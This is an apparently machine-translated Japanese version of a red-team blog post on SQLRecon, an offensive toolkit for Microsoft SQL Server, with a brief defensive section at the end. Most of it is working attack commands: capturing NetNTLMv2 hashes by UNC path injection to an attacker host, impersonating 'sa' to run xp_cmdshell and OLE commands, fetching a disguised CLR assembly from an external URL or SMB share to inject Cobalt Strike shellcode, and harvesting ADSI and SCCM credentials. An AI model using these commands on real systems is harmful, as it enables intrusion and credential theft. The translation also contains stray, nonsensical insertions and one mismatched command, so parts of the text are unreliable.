セキュリティー

データベースが注意すべきこと：SQLReconによるMicrosoft SQL Serverの悪用。

デザイン全体に散在するドットで描かれた紫と青の縦縞

著者

Sanjiv Kawa

Senior Managing Security Consultant

Adversary Services, IBM X-Force Red

私はキャリアの過程で、世界最大級の組織のヴェールの向こう側を覗き込む素晴らしい機会に恵まれました。私の経験では、ほとんどの業種はエンタープライズWindowsネットワークに依存しています。実際、分散型ゼロトラスト・ネットワーク、エンタープライズLinux、macOSネットワーク、またはActive Directory代替（FreeIPA）を何度も見てきたことは、数え切れないほどです。

このような大規模で、しばしば複雑なエンタープライズ・ネットワークを行き来するとき、Microsoft SQL Serverを見つけることがよくあります。Microsoft SQL Serverは、通常はビジネス機能をサポートするためにデプロイされています。SQL Serverに詳しくないユーザー向けの説明ですが、簡単に言えば、SQL Serverは通常、Windowsサーバーの上にインストールされるリレーショナル・データベース・ソフトウェアです。SQL Serverの主な目的は、データを保管してアプリケーションやユーザーに提供することです。

このブログ記事では、SQL Serverにより提示される攻撃対象領域と、X-Force® のツールを使用した構成ミスや脆弱性の悪用方法についてレビューしますSQLRecon 。さらに、該当する場合、防御上の考慮事項についても概説します。

Microsoft SQL Server

SQL Serverの脆弱性と構成ミスについては、十分に文書化されています。これらの弱点は以前から存在しているように見えますが、防御チームは何らかの方法でSQL Serverを強化することは見落とされ続けています。主に、基盤となる構成を強化し、サービスへの軽微なアクセスを防止することについて説明しています。

この監視の正当性の1つは、組織が優先して対処する必要があるより大きなリスクがあるということです。その結果、SQL Serverのセキュリティ強化は後回しにされがちです。本番環境のデータベース構成を変更することは、可用性の問題を引き起こす可能性があり、運用上の問題として顕在化し、最終的には業務の生産性に影響を及ぼす恐れがあるためです。

IBMニュースレター

The DX Leaders

AI活用のグローバル・トレンドや日本の市場動向を踏まえたDX、生成AIの最新情報を毎月お届けします。登録の際はIBMプライバシー・ステートメントをご覧ください。

ご登録いただきありがとうございます。

ニュースレターは日本語で配信されます。すべてのニュースレターに登録解除リンクがあります。サブスクリプションの管理や解除はこちらから。詳しくはIBMプライバシー・ステートメントをご覧ください。

一般的な脆弱性と設定ミス

エンタープライズ・ネットワークでよく見られる構成ミスの1つは、認証されたドメイン・オブジェクトが低特権アカウントとしてSQLサービスに接続できる次に進む。これには有効なドメイン・コンテキストのみが必要です。言い換えれば、ドメイン・ユーザーまたはドメイン・コンピューター・アカウントの有効トークンです。

例を上げると、一般のビジネス・ユーザーのワークステーションが侵害され、誤って構成されたSQL Serverへのネットワーク・ルートが存在する場合、攻撃者は次のことを行う可能性があります。

  • リモートSQL Server上で制限されたSQLコマンドを実行します。
  • なりすまし型の攻撃を介してエスカレーションの機会をもたらす可能性のある権限を特定します。
  • 汎用命名規則（UNC）パスへの要請リクエストを通じて認証マテリアルを提供するようにSQL Serverに指示します。これによりハッシュ化された認証情報が取得される可能性があり、それがクラッキングされたり、リレーショナル攻撃を実行するために渡されたりする可能性があります。
  • 他のSQL ServerとリンクされているSQL Serverに割り当てられた権限をピギーバックすることで、特権昇格が発生する可能性があります。

これらは、攻撃者がドメイン・コンテキスト内で誤って構成された SQL Serverを評価したときに達成できることのほんの一例にすぎません。SQL Serverが提示する攻撃対象領域は、直面している環境や構成によって常に異なります。

オフィスでミーティングをするビジネスチーム

IBMお客様事例

お客様のビジネス課題（顧客満足度の向上、営業力強化、コスト削減、業務改善、セキュリティー強化、システム運用管理の改善、グローバル展開、社会貢献など）を解決した多岐にわたる事例のご紹介です。

なぜ今、Microsoft SQL Server攻撃に注目しているのでしょう。

最近、レッドチームのオペレーターは、エンタープライズのMicrosoftネットワークの特権を引き上げるために利用できる、さまざまなActive Directoryの悪用を活用することで、まさに恩恵を受けています。しかし、防御チームがこれらの弱点の軽減に対処し始めると、当然のことながら、Active Directoryの悪用を通じて権限を昇格させる手段は枯渇する傾向にあります。

それでも、私たちは攻撃の事例にあるリストを続行し、目標の達成に役立つエスカレーション・パスを最適な形で模索しています。長い間、SQL Serverへの攻撃は私にとってリストのかなり下位にあったことを認めるのは少し気が進みません。代わりに、共有ストレージ・スペース、社内Webアプリケーション、DevOpsツール、またはクラウド・インフラストラクチャーなどを優先することにしました。おそらく私がこれでどこに向かっているのかがわかると思います...

2022年のある時点で、私はエンゲージメントを行っていましたが、好みのエスカレーション・パスをすべて使い果たした後、単なる停滞状態に達していました。これは主に、非常によく強化された環境によるものでした。少なくとも、それが私が考えていたことで、大規模なSQL Serverファームを発見する前に考えていたことは、ただ設定ミスか脆弱性があるだけでした。

当時は知りませんでしたが、このブログ記事を書いて初めて、Kaspersky社は、SQL Serverを使用して繰り返し発生する攻撃が2022年に56％増加したことを発見しました。これは驚くべき量です。

Microsoft SQL Serverへの攻撃

レッド・チーム・オペレーターとして、私はコマンド・アンド・コントロール（C2）フレームワークを使用して、クライアントのネットワーク内の侵害されたシステムをよく操作します。私たちが十分に協働できるクライアントは、通常、成熟したサイバーセキュリティー・プログラム、有能な防御チーム、およびEDRソリューションなどの最新のセキュリティー管理を備えています。

長年にわたって、SQL Serverを攻撃するためのツールがいくつか開発されてきました。ペネトレーション・テストの日々に、最終的に手を伸ばすものは PowerUpSQL 。これは、Scott Sutherland（@_nullbind）によって作成され、主にPowerShellで開発されたプロジェクトです。

EDR（エンドポイントの検知と対応）ソリューションは、オフェンシブ・セキュリティー用に設計された悪意のあるオープンソース・ツール、特にPowerShellに依存しているものを検出する素晴らしい仕事をしているため、立ちはだかる敵対者となる可能性があります。これは軽微なPowerShellポスト・エクスプロイテーション・ツールではなく、私が直面していた問題のためではなく、目的を果たしています

PowerShellも優れていますが、C#の方が優れています

私が直面していた問題は、Microsoft SQL Serverに接続する方法を見つけ、設定ミスや脆弱性がないかどうかを判断するために調査を開始する必要があるということでした。しかし、PowerShellに依存する既存のSQL Serverエクスプロイテーション後ツールを使用すれば、それはおそらく防御チームに確実に捕まる方法でした。これは様々な理由によるもので、詳しくは説明しませんが、PowerShellは、AMSI、制約付き言語モード、様々なスタイルのロギングといったセキュリティー機能のため、攻撃後のエクスプロイトを行うには理想的なハーネスではありません。これは、EDR（エンドポイントの検知と対応）ソリューションやその他のロギングおよび監視制御が導入されている場合にのみ、さらに複雑になります。

代替として、レッドチームのオペレーターは、Windows APIとともに.NETフレームワークとのインターフェースとなる簡単な方法を提供するC#をエクスプロイテーション後のツールを開発するための言語として選択することがよくあります。

私はC＃や.NETの開発者ではありませんが、直面している問題を解決するツールを書くのに十分な知識があります。キューはSQLRecon 、攻撃的な偵察とエクスプロイテーション後のために設計されたC# SQLツールキットです。

SQLRecon

SQLRecon レッドチームのオペレーターがSQL Serverを攻撃する際に実行できるアプローチを最新化することで、エクスプロイト後のツールのギャップに対応します。このツールはモジュール式になるように設計されており、容易に拡張することができます。 SQLRecon は、スタンドアロンまたはさまざまなC2フレームワーク内で互換性があります。後者を使用する場合、SQLRecon は、インプロセスでも従来のフォーク＆ランでも実行できます。

SQLRecon  には80以上のモジュールがあります。以下は、が提供する機能のいくつかの機能の概要です。SQLRecon :

認証プロバイダー

  • ローカルSQLデータベースアカウント
  • 現在のトークンに基づくWindowsドメイン認証
  • ユーザーが提供した認証情報によるWindowsドメイン認証
  • Azureドメイン認証
  • Azureローカル認証

列挙モジュール

  • サービス・プリンシパル名（SPN）に関連付けられたSQL Serverを検索
  • SQLサービスに関する情報を取得する
  • SQL Server内の権限を決定する
  • データベース、テーブル、列、ユーザーをリストする
  • データベースでコンテンツを検索する
  • 任意のクエリを実行する
  • なりすますことができるユーザーを列挙する
  • リンクされているSQL Serverを特定する

コマンド実行、横移動、特権エスカレーション

  • xp_cmdshell
  • OLEオートメーション手順
  • カスタム.NET CLRアセンブリーのロードと実行
  • SQLエージェント・ジョブ
  • ADSI認証情報の収集

運用セキュリティー

  • 継続的な認証検証
  • 広範なコマンド・ライン・ロギング
  • SQL Serverオプションの有効/無効状態に基づく実行時の制限事項
  • 引数エラー処理
  • 該当する場合、ランダム化された英数字SQLコンテンツの作成
  • コマンド実行目的でのSQL Serverに作成されたデータの自動クリーンアップ

その他

  • データベース・コンテキストを切り替える機能
  • 非標準TCPポートでリッスンするSQL Serverに接続する
  • なりすまし攻撃のサポート
  • リンクされたSQL Serverを列挙して攻撃する機能
  • Microsoft Systems Center Configuration Manager（SCCM）およびエンドポイントConfiguration Manager（ECM）SQLデータベースに対する攻撃に対するサポート
  • すべてのSQLクエリはSystem.Data.SqlClient Microsoftが開発した名前空間を使用します

各テクニックの詳しい使用方法については、wikiを参照してください。

SQLReconの使用

次回のデモンストレーションの準備として、Jeff Smithが所有するWindows 10ワークステーションを侵害して操作します。(JSmith) それはkawalabs.local エンタープライズ・ネットワーク内にあります。

Jeffのワークステーションには3つのSQL Serverへのネットワーク・ルートがあり、それぞれが異なるバージョンを実行しており、それぞれ2016年、2019年、2022年です。

SQLリンクが、SQL01  と SQL02 との間に別のSQLリンクが構成されていますSQL02  および SQL03 。SQL Serverに詳しくない読者にとって、これにより、あるSQLインスタンスが別のSQLインスタンス上でSQLステートメントを実行できるようになります。例えば、SQL01 次のものにSQLステートメントを実行できますSQL02, と SQL02 はSQL03でステートメントを実行できますが、SQL01はSQL03でステートメントを実行できませんSQL03  そしてその逆も同様です。実際のエンタープライズ・ネットワークでは、リンクされたSQL Serverを見ることがよくあります。

さらに、Active Directory Services（ADSI）リンクも SQL03  プライマリー・ドメイン・コントローラーはkawalabs.local ドメイン、DC01 。ADSIリンクは、SQL ServerにActive Directoryオブジェクトと対話する方法を提供します。

最後に、kawalabs.local ドメインがAzure Active Directoryドメインに接続されている、 kawalabs.onmicrosoft.com Azure AD Connectを使用します。これにより、オンプレミスのActive Directoryユーザーがkawalabs.local  Azureクラウドの参考情報にアクセスできます。その kawalabs.onmicrosoft.com Azure ADテナントには、支払いデータを保管するSQL Serverが含まれており、ECOM01 .

ネットワーク構成

図1：ネットワーク構成

さらに、Jeffの侵害されたワークステーションからエクスプロイテーションの後のタスクを実行するために、一般的なコマンド＆コントロールフレームワークであるCobalt Strikeを活用するつもりです。(DESKTOP-LF8Q3C6) 。以下のスクリーンショットでは、 whoami  コマンドを確認できます。これは、Jeffが特権ユーザーではなく、kawalabs.local  ドメイン内および広域ネットワークにおいて基本的な権限のみを有していることを示すためのものです。

whoamiコマンドの発行

図2：WHOAMIコマンドの発行

列挙

これを書いている時点で、SQLRecon には、ネットワーク内のSQL Serverを検出し、SQL Serverインスタンスに関する情報を取得するために使用できる2つの列挙モジュールがあります。次のコマンドは、Active Directoryサービスプリンシパル名（SPN）を列挙し、SQL ServerにSPNが設定されているかどうかを識別します。kawalabs.local ドメインには、いくつかの異なるアカウントに対してSPNセットがあり、これを以下の製品の画面で示しています。

SQLRecon.exe /e:SqlSpns /d:kawalabs.local
SPNコレクションを介したSQL Serverの検出

図3：SPNコレクションによるSQL Serverの検出

config/agents.yamlinfo  モジュールは、サーバーに関する追加情報を取得するのに非常に役立ちます。以下の例では、SQL Serverから取得される情報の種類を示しています。

SQLRecon.exe /a:WinToken /h:SQL02 /m:info
SQL02に関する情報の取得

図4：SQL02に関する情報の取得

列挙モジュールへの貢献に対してDaniel Duggan（@_RastaMouse）に感謝の意を表します SQLRecon .

Standardモジュールの

標準モジュールは、SQL Serverの1つのインスタンスに対して実行されます。

以下の例では、AzureAD 認証プロバイダー。Azure Active Directoryアカウントのユーザー名とパスワードを使用して認証を行いますECOM01 は、AzureクラウドにあるSQLインスタンスです。次に、whoami Jeffの権限を決定するモジュールECOM01 .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
jsmith@kawalabs.onmicrosoft.comのためのSQL権限列挙

図5：次に対するSQL特権を列挙：jsmith@kawalabs.onmicrosoft.com

デフォルトでは、SQLRecon が接続するのはmaster データベースです。このデータベースは通常、すべてのSQL Serverインスタンスに存在します。ただし、SQL Serverインスタンス上のさまざまなデータベースをすべて簡単にdatabases モジュールを使ってリストアップできます。

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
ECOM01上のデータベースを列挙

図6：次のデータベースを列挙：ECOM01

データベース名を/で指定することで、他のデータベースに接続できます。database フラグを立てて、実行するモジュールを転送します。以下の例では、IBMに接続しています。Payments データベース・オンECOM01 テーブルからすべてのコンテンツを取得するカスタムSQL Queryを実行し、cc 。

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
ECOM01のPaymentsデータベースのccテーブルからのダミーカードデータの取得

図7：次からのダミー・カード・データを取得：cc のテーブルPayments データベース・オンECOM01

さらに興味深いモジュールに移行することでSQLRecon UNCパス・インジェクションをサポートしています。これは、次のような低権限ユーザー・アカウントによって実行できますKAWALABS\JSmith 。これにより、ハッシュされた資格情報が取得される可能性があり、それによって見抜かれたり、リレーショナル攻撃を実行するために渡されたりする可能性があります。以下の例では、WinToken 認証プロバイダーは、KAWALABS\JSmith ユーザーアカウントのトークンを使用して、SQL02 オンプレミスサーバーに対して認証を行います。

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
UNCパス・インジェクション

図8：UNCパス・インジェクション

次のスクリーンショットでは、接続がSQL02 コントロールするホスト（172.16.10.19）に転送されます。これにより、次のサイトのNetNTLMv2ハッシュが取得されます。KAWALABS\mssql_svc ドメイン・アカウント。

KWAlabs\msql_svcのNetNTLMv2ハッシュの取得

図9：次のNetNTLMv2ハッシュを取得：KAWALABS\mssql_svc

SQLRecon には、基盤となるシステム上で任意のコマンドを実行するために使用できるさまざまなコマンド実行モジュールがあります。これは、権限昇格や横移動を実行したい場合に特に役立ちます。運用上のセキュリティーがデフォルトで有効になるように、SQLRecon全体に重要なガードレールが実装されています。主な制限は次の2つです。

  • 継続的な認証検証、これはSQLRecon モジュールを実行する前に、ドメインまたはSQL Serverに対して認証できることを検証します。
  • 実行制限、これはSQLRecon オブジェクトのロード、オブジェクトの作成、またはコマンドの実行を行うモジュールを実行する前に、最適な条件が存在することを検証します。

xp_cmdshell  長い間、SQLデータベースを介して基礎となるサーバー上でコマンドを実行できる最も一般的な方法の1つでした。以下の例では、低い権限を使用しています。KAWALABS\JSmith  アカウントを起動しようとすることでnotepad.exe アプリケーションにSQL01 .

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
コマンドの実行を防止するガードレールのデモンストレーション

図10：コマンドの実行を防止するガードレールのデモンストレーション

上記の画像からわかるように、実行ガードレールが発生し、以下を示すエラー・メッセージが受信されます。xp_cmdshell 無効になっています。これは通常、SQL Serverのほとんどのバージョンでデフォルトの構成です。一番良いところは、SQLRecon これはenableXp モジュールであり、構成が可能になりますxp_cmdshell 。SQLReconでは、disableXp モジュールを使用してコマンドを実行した後に、元の安全な状態に戻すことができます。xpCmd .

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
不十分な権限によりコマンドの実行が妨げられる別の制限のデモンストレーション

図11：権限不足によりコマンドの実行が妨げられる別の制限のデモンストレーション

期待どおり、権限が低くKAWALABS\JSmith アカウントが実行制限に遭遇し、有効化または無効化に必要な権限を持っていないというメッセージを受け取りましたxp_cmdshell …それとも、そうなのでしょうか。

なりすましの濫用

SQLインパーソネーションは特別な権限であり、基本的に、あるユーザーまたはグループが、自分自身の権限だけでなく、他のユーザーの権限でも操作できるようにするものです。次のスクリーンショットは、SQL02 実際に起こったことをBUILTIN\Users AI担当者がsa アカウント。

BUILTIN\UsersはSQL02でsaアカウントになりすますことができます

図12： BUILTIN\Users  をなりすましできるsa アカウントにSQL02

SQLRecon これはimpersonate ユーザー・アカウントが別のユーザーになりすますことができるかどうかを判断するのに役立つモジュール。

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

以下のスクリーンショットを確認しますKAWALABS\JSmith 低権限ユーザー・アカウントになりすますことで、sa アカウントにSQL02 。これは、管理者のような権限でSQLインスタンス上でコマンドを実行する機能を示しています。さらに、基盤となるサーバー上でシステム・コマンドを実行できるようになったことを意味します。

SQL02で代理操作できるアカウントを列挙する

図13：次になりすましできるアカウントを列挙：SQL02

別のコマンド実行モジュールを示すには、SQLRecon は、OLEオートメーション・プロシージャを使用して、基礎となるユーザー上でコマンドを実行できます。これはodsole70.dll assemblyはCOMオブジェクトと相互作用し、wscript.shell は任意のシステム・コマンドを実行するために活用できます

なりすましモジュールには常に「i」という文字が先頭に付加され、i これらのモジュールではなりすます対象となるアカウント名が必要です。以下の例では、SQL02 低権限の KAWALABS\JSmith アカウントとして SQL02 に接続し、KAWALABS\JSmith sa アカウントになりすますことで、sa SQL02上でOLEオートメーション・プロシージャを有効にしています。SQL02 .

a:WinToken /h:SQL02 /i:sa /m:iEnableOle
なりすましを使ったOLEオートメーション・プロシージャの有効化

図14：偽装を用いたOLEオートメーション・プロシージャの実現

OLEオートメーション・プロシージャが有効になったことによりSQL02 、SQL Serverプロセスを開始したユーザー・アカウントのコンテキストで、基盤となるサーバー上で任意のコマンドを実行する立場にあります。以下の例では、NetNTLMv2資格情報の取得に以前に使用したのと同じ共有のディレクトリーをリストするPowerShell子プロセスを実行します。これは主にデモンストレーションが目的であり、通常は敵対者シミュレーションエンゲージで実行されるアクションではないことに留意してください。

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
PowerShellを使用してリモート・ホスト上のディレクトリーをリストする

図15：PowerShellを使用してリモート・ホスト上のディレクトリーをリストする

製品の画面を示すとおり、ランダムに生成されたOLEオブジェクトとメソッドが作成され、悪意のあるコマンドが実行され、OLEオブジェクトが破棄されます。当社は行動の証拠を残したくないため、意図的に行っています。

次のスクリーンショットでは、特定の接続がKAWALABS\mssql_svc ユーザー・アカウントによって行われ SQL02 コントロールするホスト（172.16.10.19）経由で転送されます。これにより、次のサイトのNetNTLMv2ハッシュが KAWALABS \mssql_svc コンピューター・アカウントのために取得されます。

KWAlabs\msql_svcのNetNTLMv2ハッシュの取得

図16：次のNetNTLMv2ハッシュの取得： KAWALABS\mssql_svc

以下の例では、なりすましを使用してtasklist 次のコマンドを使用しますxp_cmdshell のSQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
xp_cmd Shellを有効にし、SQL02での代理操作を使用したシステム・コマンドの実行

図17：有効化xp_cmdshell なりすまし機能を使用してシステム・コマンドを実行することによりSQL02

構成を元の状態に戻すことは常に良いプラクティスです。

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
SQL02でのOLEオートメーション・プロシージャとxp_cmd Shellの無効化

図18：OLEオートメーション・プロシージャーの無効化およびxp_cmdshell のSQL02

リンクされたSQL Serverへの攻撃

SQLRecon リンクされたSQL Serverインスタンスに対して攻撃を実行することもできます。次のスクリーンショットは、SQL02 実際に起こったことをSQL02 へのリンクがありますSQL03 .私の経験から言えば、これは大企業ネットワークでは一般的な構成です。

SQL02にはSQL03へのSQLリンクがあります

図19：SQL02 へのSQLリンクがありますSQL03

あるSQL Serverインスタンスから別のSQL Serverインスタンスへのリンクを構成するには、多くの場合、リンクを確立してバインドするための認証情報のセットが必要になります。これは攻撃者にとって有益です。接続を確立したアカウントのコンテキストで、リンクされたSQL Server上でコマンドを実行できるからです。もう1つの考慮すべき点は、リンクされたサーバーが攻撃者が活動しているネットワークからセグメント化される可能性があることです。これにより、境界を越え、より高いセキュリティー要件のネットワーク・ゾーンに侵入する機会が得られる可能性があります。

SQLRecon 持っていますlinks SQL ServerにリンクされたSQLインスタンスがあるかどうかを判断するためのモジュール。

SQLRecon.exe /a:WinToken /h:SQL02 /m:links
SQL02上のリンクされたSQL Serverを列挙

図20：次のリンクされたSQL Serverを列挙：SQL02

リンクされたモジュールには常にl これらのモジュールには、コマンドを発行するリンクされたサーバーの名前が必要です。次の例では、IBMに接続しています。SQL02 ランサムウェアによるを得ることはできません KAWALABS\JSmith アカウントで発行してlWhoami リンクされたコマンドにSQL03 インスタンスを自動的にデプロイします。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
SQL02VIAでSQL03で引き受けることができるSQL権限を列挙

図21：次を想定したSQL権限を列挙：SQL03 経由でSQL02

上記のスクリーンショットのように、当社はsa アカウントにSQL03 。これは、SAアカウントが次のSQLリンクを確立するために使用されたためです。SQL02 からSQL03 .

のすべての実行モジュールSQLRecon リンクされたSQL Serverで完全にサポートされています。以下の例では、共通言語ランタイム（CLR）統合をSQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
SQL02でのCLR統合の有効化

図22：次のCLR統合を実現：SQL02

CLR統合により、カスタム.NETアセンブリーをSQL Serverにインポートできるようになります。これらのアセンブリーは、実行される前にストアド・プロシージャ内に格納されます。これは素晴らしい横移動攻撃プリミティブです。

次のスクリーンショットでは、という名前のSQL Server CLR互換のカスタム.NETアセンブリーを作成します。hollow.dll 。これにより、Cobalt Strikeペイロードが、という名前の保管プロシージャに保管されます。ExecuteShellcode .このペイロードは、基本的なプロセスの空洞化を実行し、新しくスポーンされた ExplorerにCobalt Strikeシェルコードを注入します。(iexplore.exe) 特定しました

hollow.dll、SQL Server CLR互換の.NETアセンブリー

図23：hollow.dll 、SQL Server CLR互換の.NETアセンブリ

カスタムSQL Server CLR互換.NETアセンブリーの詳細については、次のClrセクションを参照してください。SQLRecon wiki.一例hollow.dll ここで見つけることができます。

次のデモでは、 hollow.dll Webサーバーに変換し、アセンブリーの名前をfavicon.png 。私がリンクに指示するのはSQL03 ダウンロードするサーバーfavicon.png  Webサーバーから構築し、カスタム・アセンブリーをSQL Serverストアド・プロシージャにインポートし、ペイロードを実行するために必要な手順を実行します。これは、コンテキストでCobalt Strikeビーコンを取得する成果です。KAWALABS\mssql_svc ユーザーにSQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
SQL03のK walabs \msql_svcのコンテキストでのCobalt Strikeビーコンの取得

図24：次のコンテキストでのCobalt Strikeビーコンを取得：KAWALABS\mssql_svc のSQL03

もちろん、先ほどの例では、SQL03 には、アセンブリーを公開Webサーバーからダウンロードできるためのインターネット・アクセスがあります。場合によっては、公開Webサーバーから参考情報をダウンロードすることが不可能または望ましい場合があります。したがって、SQLRecon カスタム・アセンブリーを侵害したホストのファイル・システムやSMB共有から直接ロードできます。次のデモでは、hollow.dll アセンブリーの名前をローカルSMBサーバーに変更し、Reports.xlsx 。私がリンクに指示するのはSQL03 ダウンロードするサーバーReports.xlsx SMBサーバーからアクセスし、カスタム・アセンブリーをSQL Serverストアド・プロシージャにインポートし、ペイロードを実行するために必要な手順を実行します。これは、コンテキストでCobalt Strikeビーコンを取得する成果です。KAWALABS\mssql_svc ユーザーにSQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
<code>SQL03のKAWALABS\mssql_svc<code>のコンテキストでのCobalt Strikeビーコンを取得

図25：コンテキストでのCobalt Strikeビーコンの取得

 KAWALABS\mssql_svc<code> on <code>SQL03

SQL Serverへの攻撃 – ADSIの悪用

SQLRecon また、リンクされたADSI Serverインスタンスに対して攻撃を実行して、ドメイン・アカウントのクリアテキスト認証情報を取得することもできます。ADSIのトレードクラフトに関する追加情報については、Tarlogic社のブログ記事をご覧ください。次の製品の画面はバックエンド構成から取得されていますSQL03 実際に起こったことをSQL03 プロジェクトにはプライマリー・ドメイン・コントローラーへのADSIリンクがありますkawalabs.local ドメイン、DC01 。このADSIリンクは、linkADSI オブジェクト。

SQL03には、DC01へのADSIリンクがあります。

図26：SQL03 へのADSIリンクがありますDC01

SQL ServerのインスタンスからActive Directoryドメイン・コントローラーへのADSIリンクの構成には、必ずしも特権認証情報が必要なわけではありません。しかし、実際のオペレーションでは、最小権限の原則が適用されないケースがあるのを確認しました。

以下の例では、lLinks 最初に接続するモジュールSQL02 そしてクエリをSQL03 追加のリンク済みSQL Serverについては、こちらをご覧ください。これは二重リンクのシナリオと考察することができます。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
SQL02からSQL03のリンクを列挙

図27：次のリンクを列挙：SQL03 SLO/SLIフレームワークのSQL02

VerifyされたADSIリンクが 上に存在することを確認しましたSQL03 情報を積極的に活用できるlAdsi モジュールからADSI接続の設定に使用されるクリアテキスト・ドメイン認証情報を取得します。SQL03 からDC01 。これは、LDAPサーバーを含むカスタムCLRアセンブリーを新しいSQL Serverランタイムルーチンにアップロードすることを含みますSQL03 。LDAPサーバーは、ユーザーが提供したポート（この場合は49103）でローカルのみの接続を実行し、リッスンします。次に、SQL03上のSQL Serverエージェント・ジョブを活用して、ADSI接続の構成に使用される資格情報を送信し、ポート49103のローカルLDAPサーバーにLDAPリクエストを要求します。この一時的なLDAP認証リダイレクトにより、最終的にはクリアテキスト・ドメインの認証情報が取得されます。AdsiおよびiAdsiモジュールは、SQL Serverエージェント・ジョブを使用せずにLDAP募集プロセスを開始し、代わりにSQL Queryを使用することに注意してください。

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
ダブルリンクADSI認証情報収集攻撃

図28：ダブルリンクADSI認証情報収集攻撃

SCCMモジュール

AI導入までの最大の拡張の1つがSQLRecon これは私の同僚であるDave Cossa@G0ldenGunSec）からのもので、彼はMicrosoft Systems Center Configuration Manager（SCCM）やMicrosoftエンドポイントConfiguration Manager（ECM）を悪用するために活用できる様々なモジュールを導入しています。SCCMモジュールは、現実世界の取り組みに基づいて開発されたもので、SCCM SQL Serverデータベースを悪用することで、目標の達成が促進されました。ほとんどの場合、SCCMデータベースと対話するには、昇格された特権コンテキストを取得するか、SCCMサーバーへのアクセスを取得する必要があります。以下の例では、Cobalt Strikeビーコンが次のコンテキストで実行されています。KAWALABS\mssccm_svc ECMサーバー上のアカウント、MECM01 .

今後は、ECMとSCCMの両方を単にSCCMと呼ぶことにします。

以下の例では、Databasesモジュールを使用して、databases SQL Serverインスタンスに存在するMECM01 .

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
MECM01上のデータベースを列挙する

図29：次のデータベースを列挙：MECM01

上記のスクリーンショットをご覧ください、CM_KAW データベースが存在します。これは、このサーバー上にSCCM用に構成されたデータベースである可能性が高いです。

SCCMモジュールには常にs これらのモジュールには、コマンドを発行するSCCMデータベースの名前が必要です。次の例では、に接続しています。CM_KAW データベース・オンMECM01 生成AIによってKAWALABS\mssccm_svc  発行してsUsers コマンド。このモジュールには、SCCMサーバーにログオンするように構成されているすべてのプリンシパルが列挙されます。

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
SCCM SQL Serverデータベース経由でSCCMにログインできるすべてのユーザーを列挙します。

図30：SCCM SQL Server経由でSCCMにログインできるすべてのユーザーを列挙

また、SCCMに設定されたタスクを列挙することもできます。sTaskList モジュールを使ってリストアップできます。

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
SCCM SQL Serverデータベースを介してSCCMで設定されているタスクを列挙する

図31：SCCM SQL Serverデータベースを介してSCCMに構成されたタスクを列挙

SCCMは通常、認証情報を保管する必要があります。この認証情報は、環境内のシステムまたは参考情報を認証し、ソフトウェア・パッケージをデプロイしたり、SCCMが提供するその他のさまざまなアクションを実行したりするために使用されます。生成AIのsCredentials モジュールを使用すると、保管された認証情報のリストを取得できます。

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
SCCM SQL Serverデータベースを介した保管する認証情報の取得

図32：SCCM SQL Serverデータベースを介した認証情報の取得

上記のスクリーンショットでは、1つの認証情報が保管されていることを確認できます。これが KAWALABS\mssccm_svc アカウント。

Adam Chester（@_xpn_）のロジックを用いることで、SCCMの保管された認証情報を復号し、保管されたアカウントの平文パスワードを取得することが可能です。これには、SCCMサーバーのローカル管理者権限が必要です。次のスクリーンショットではsDecryptCredentials アカウントに保管されていた認証情報を復号化することで、KAWALABS\mssccm_svc アカウント。

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
保管されているSCCM認証情報の復号化

図33：保管されたSCCM認証情報の復号化

防御面での考慮事項

攻撃者がSQL Serverを悪用するのを防ぐために、防御側はセキュリティー制御を実装する際に階層化されたアプローチを取ることができます。まず第一に、SQL Serverのセキュリティー・ベスト・プラクティスに関するMicrosoftの公式ガイダンスを読むことを強くお勧めします。

次のステップは、サイバー攻撃における予防、検知、緩和のガイダンスです。SQLRecon wikiで、これには優れた防御上の考慮事項がいくつか記載されています。実装すべきより重要な制御をいくつか選び、以下にリスト・アップしました。

ネットワーク・セキュリティー・コントロール

ネットワーク・レベルでの実装には、次のセキュリティー管理を検討する必要があります。

  • SQL Serverへのネットワーク・ルートが、許可されたシステムのセットまたはサブネットのみが考慮され、制限されていることを確認します。ワークステーションがSQL Serverと直接通信する機能を必要とすることはほとんどありません。実行可能であれば、TCP 1433へのアクセスをブロックすることを検討します。
  • ネットワーク・ログと監視ツールがネットワーク境界を通過するSQLクエリを取り込んでいることを確認します。ワークステーションがSQL ServerにSQLクエリを送信するのは異常です。

エンドポイント・セキュリティー制御

環境内のワークステーションとサーバー。

  • エンドポイントの検知と対応ソリューションなどのホストベースのセキュリティー制御が有効であり、製品シグネチャが定期的に完全に最新であることを検証します。
